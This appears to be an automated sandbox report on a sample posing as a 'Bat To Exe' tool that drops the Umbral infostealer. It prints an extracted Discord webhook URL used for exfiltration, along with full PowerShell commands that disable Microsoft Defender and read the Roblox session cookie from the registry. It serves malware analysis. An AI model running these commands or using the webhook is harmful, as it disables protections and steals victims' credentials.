Analysis
- user interaction
yes - max time kernel
149s - max time network
136s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
13/11/2026, 11:33
Behavioral task
behavioral1
Sample
Bat To 0Exe.exe
Resource
win10v2004-20260911-en
General
- Target Bat To 0Exe.exe
- Size 1005KB
- Sample261113-nn71csty9n
- SHA256 94509784f4e6bbe7ddcb00d09f2325cf9baec1cc80e14b5114987798aca3f191
- MD5 6bf2d368d054aef36f8e083ce54c31de
- SHA1 f417b5dcc2354408f20f71522d1d9ed9fa9ff1cd
- SHA512 4c404a5369d35dbbb00ed58f0389f63e664b58295f0a12ca8e8bfbf29d53ef0612777ab9cb7acf5d7b74fc04d7655eae5763455d99a4b817d764c6858a28d56e
- SSDEEP 12288:1oZZL+EP8pOpvcCFdWwj+ctBI4K4/ZrvIGS:HI8YpvcCFdWwj+ctBI4/Z9S
- TLSH T1E825184323688E12D52E47FD8172D9BE4773AE66A825E34E0CD8BCF73A337425805A53
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
umbral
-
v1.3
-
https://discord.com/api/webhooks/1570758573208768582/nGddHNMHIBlNIPILY45Ks6FoJQgV7Buy9G0Iyz9_TQpIJCuNut4Ev7R2HtXywOClM6LX
Signatures
- Detects Umbral payload 4 IoCs
resource yara_rule behavioral2/files/0x000e00000001c520-18.dat family_umbral behavioral2/files/0x000e00000001c520-18.dat family_umbral_obfuscated behavioral2/memory/2760-27-0x0000029025370000-0x00000290253B0000-memory.dmp family_umbral behavioral2/memory/2760-27-0x0000029025370000-0x00000290253B0000-memory.dmp family_umbral_obfuscated - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1604 powershell.exe 5272 powershell.exe 6000 powershell.exe 4496 powershell.exe - Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
pid Process 5272 powershell.exe - Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
pid Process 5272 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2760 Umbral.exe 5836 Bat to Exe.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 discord.com 10 discord.com - Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com - Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs
Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.
pid Process 2340 wmic.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain Umbral.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname Umbral.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wmic.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Bat to Exe.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4584 wmic.exe - Suspicious behavior: EnumeratesProcesses 31 IoCs
pid Process 1604 powershell.exe 1604 powershell.exe 1604 powershell.exe 5272 powershell.exe 5272 powershell.exe 5272 powershell.exe 6000 powershell.exe 6000 powershell.exe 6000 powershell.exe 3800 powershell.exe 3800 powershell.exe 3800 powershell.exe 2228 wmic.exe 2228 wmic.exe 2228 wmic.exe 2228 wmic.exe 5964 wmic.exe 5964 wmic.exe 5964 wmic.exe 5964 wmic.exe 2340 wmic.exe 2340 wmic.exe 2340 wmic.exe 2340 wmic.exe 4496 powershell.exe 4496 powershell.exe 4496 powershell.exe 4584 wmic.exe 4584 wmic.exe 4584 wmic.exe 4584 wmic.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2760 Umbral.exe Token: SeDebugPrivilege 1604 powershell.exe Token: SeIncreaseQuotaPrivilege 1604 powershell.exe Token: SeSecurityPrivilege 1604 powershell.exe Token: SeTakeOwnershipPrivilege 1604 powershell.exe Token: SeLoadDriverPrivilege 1604 powershell.exe Token: SeSystemProfilePrivilege 1604 powershell.exe Token: SeSystemtimePrivilege 1604 powershell.exe Token: SeProfSingleProcessPrivilege 1604 powershell.exe Token: SeIncBasePriorityPrivilege 1604 powershell.exe Token: SeCreatePagefilePrivilege 1604 powershell.exe Token: SeBackupPrivilege 1604 powershell.exe Token: SeRestorePrivilege 1604 powershell.exe Token: SeShutdownPrivilege 1604 powershell.exe Token: SeDebugPrivilege 1604 powershell.exe Token: SeSystemEnvironmentPrivilege 1604 powershell.exe Token: SeRemoteShutdownPrivilege 1604 powershell.exe Token: SeUndockPrivilege 1604 powershell.exe Token: SeManageVolumePrivilege 1604 powershell.exe Token: 33 1604 powershell.exe Token: 34 1604 powershell.exe Token: 35 1604 powershell.exe Token: 36 1604 powershell.exe Token: SeDebugPrivilege 5272 powershell.exe Token: SeDebugPrivilege 6000 powershell.exe Token: SeDebugPrivilege 3800 powershell.exe Token: SeIncreaseQuotaPrivilege 2228 wmic.exe Token: SeSecurityPrivilege 2228 wmic.exe Token: SeTakeOwnershipPrivilege 2228 wmic.exe Token: SeLoadDriverPrivilege 2228 wmic.exe Token: SeSystemProfilePrivilege 2228 wmic.exe Token: SeSystemtimePrivilege 2228 wmic.exe Token: SeProfSingleProcessPrivilege 2228 wmic.exe Token: SeIncBasePriorityPrivilege 2228 wmic.exe Token: SeCreatePagefilePrivilege 2228 wmic.exe Token: SeBackupPrivilege 2228 wmic.exe Token: SeRestorePrivilege 2228 wmic.exe Token: SeShutdownPrivilege 2228 wmic.exe Token: SeDebugPrivilege 2228 wmic.exe Token: SeSystemEnvironmentPrivilege 2228 wmic.exe Token: SeRemoteShutdownPrivilege 2228 wmic.exe Token: SeUndockPrivilege 2228 wmic.exe Token: SeManageVolumePrivilege 2228 wmic.exe Token: 33 2228 wmic.exe Token: 34 2228 wmic.exe Token: 35 2228 wmic.exe Token: 36 2228 wmic.exe Token: SeIncreaseQuotaPrivilege 2228 wmic.exe Token: SeSecurityPrivilege 2228 wmic.exe Token: SeTakeOwnershipPrivilege 2228 wmic.exe Token: SeLoadDriverPrivilege 2228 wmic.exe Token: SeSystemProfilePrivilege 2228 wmic.exe Token: SeSystemtimePrivilege 2228 wmic.exe Token: SeProfSingleProcessPrivilege 2228 wmic.exe Token: SeIncBasePriorityPrivilege 2228 wmic.exe Token: SeCreatePagefilePrivilege 2228 wmic.exe Token: SeBackupPrivilege 2228 wmic.exe Token: SeRestorePrivilege 2228 wmic.exe Token: SeShutdownPrivilege 2228 wmic.exe Token: SeDebugPrivilege 2228 wmic.exe Token: SeSystemEnvironmentPrivilege 2228 wmic.exe Token: SeRemoteShutdownPrivilege 2228 wmic.exe Token: SeUndockPrivilege 2228 wmic.exe Token: SeManageVolumePrivilege 2228 wmic.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 4732 wrote to memory of 2760 4732 Bat To 0Exe.exe 89 PID 4732 wrote to memory of 5836 4732 Bat To 0Exe.exe 90 PID 2760 wrote to memory of 1604 2760 Umbral.exe 92 PID 2760 wrote to memory of 5272 2760 Umbral.exe 95 PID 2760 wrote to memory of 6000 2760 Umbral.exe 97 PID 2760 wrote to memory of 3800 2760 Umbral.exe 99 PID 2760 wrote to memory of 2228 2760 Umbral.exe 101 PID 2760 wrote to memory of 5964 2760 Umbral.exe 104 PID 2760 wrote to memory of 2340 2760 Umbral.exe 106 PID 2760 wrote to memory of 4496 2760 Umbral.exe 108 PID 2760 wrote to memory of 4584 2760 Umbral.exe 110
Processes
-
C:\Users\Admin\AppData\Local\Temp\Bat To 0Exe.exe"C:\Users\Admin\AppData\Local\Temp\Bat To 0Exe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4732 -
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1604
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5272
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6000
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3800
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2228
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5964
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Queries system WMI classes for hardware identifiers
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2340
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4496
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Reads the TCP/IP host and domain name from the registry
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
PID:4584
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C:\Users\Admin\AppData\Local\Temp\Bat to Exe.exe"C:\Users\Admin\AppData\Local\Temp\Bat to Exe.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5836
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Windows Management Instrumentation
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
- MD5 95e9928464a1f3425068f7e64a74060a
- SHA1 9bdbd59bea34afd0aebf4d0c3d3cfe0317aa4d57
- SHA512 a150525324ebe4a0dc28577f089c1f45ef0902355ecd9d5f10c91d45fe57d44d09c6d133a92c3f32dca0c73b97b259d5ad7ff4316edafa2cb00e38d64e043f06
- TLSH T1E9216833F3DD8654C899413A10CEAC1035B7C7DB40DECEDB6B84D559A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 952B
- SHA256 c649ac7b9ec6d6f76b9d9569f4ec855674ca31bef16181e13d1ad1461213c663
- MD5 266b2c2a6f176e0c62d949f15d22542e
- SHA1 b98aba0884a6f97aec66c9fb42bfa0dccd39b3bb
- SHA512 b1e7d140dbd68090081c4a8285245c9e3ea5b2b1cc412d97047b8d8734e53d7e7cff277ee6034a1d9b668b1ba3a1f458eec2337ec840112cc9a65f5f730478bb
- TLSH T1AE116633F3CC86A4DC59803650CEAD1136B78BCB40DFCEDB6B84C155A42F685CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 b11ec5eeecac681bbcbb325a58485259a1f3e62f99d14d73847ea54a1a1655dd
- MD5 37d86e69524afe02f24cddd46a920c0b
- SHA1 f9819ef9bc734f750e10e789320a8280f6547b49
- SHA512 5debdda209d6598e685521b208a5dc4fdd65b3ce3b583fd1086c8af3398e93883bc35d9d845c6c78c74cf87a5118d50b3ad2f15ed41b1c6c62097835c44ee729
- TLSH T188215733F3CC86A4C89A413650CEAC1036B7C7DB419EDE9BBB84D155A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Bat to Exe.exe
- Size 752KB
- SHA256 f6f47c8fa80177328644c46370d39e1efdc49a6a9df2fa7afb4c4a72064e1459
- MD5 7a907e93ae6fe3e6dd7ab7f2c4605325
- SHA1 b3603193d48ecf4d7eb6c1149decc0c57a635242
- SHA512 fad1099b52d242788e59795c4376da92e21edc05a18c1f1b926882417e140ff084d1e4bd9a3f2d90a5a22dd9010e3a7a263665e308359c489e472c29773ab70a
- SSDEEP 1536:dc+9foYsW/hYorRaLfcwQPlyMJXfZxqx4ZVYWfZxqx4K:dc++W/hbrR2EJXfZd3YWfZdK
- TLSH T1BFF44C9396488D92D83017FD4133CEBE56636FB8A975D71A58FABC73BB732820C05582
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Umbral.exe
- Size 229KB
- SHA256 c9d64fea7aa018c20b752e22269c08102aaa8db3b4e5e73ff4e86f19dea7c507
- MD5 eee75685e3fd5c152c9827e117b10c7b
- SHA1 eb49b14cd62e4c0ddbbf88e28df56b02a329dd9f
- SHA512 696b4f624c762da0552166bb9ae06d3498c5e3c2607b8af44f972c93b6681e98f82d6014c3b60adf1bc26b708bd64ebbf28c2731c6f27ab306917d5ff000567a
- SSDEEP 6144:tloZMCrIkd8g+EtXHkv/iD4pOpvcCFdWwj+ctBIfob8e1mrtji:voZZL+EP8pOpvcCFdWwj+ctBI4K4
- TLSH T130346C5933B88F17E25F8BBDD5B1158F87B1F143E80AF78E0C8895E82411B42E949E57
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_plz3mdan.nr1.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH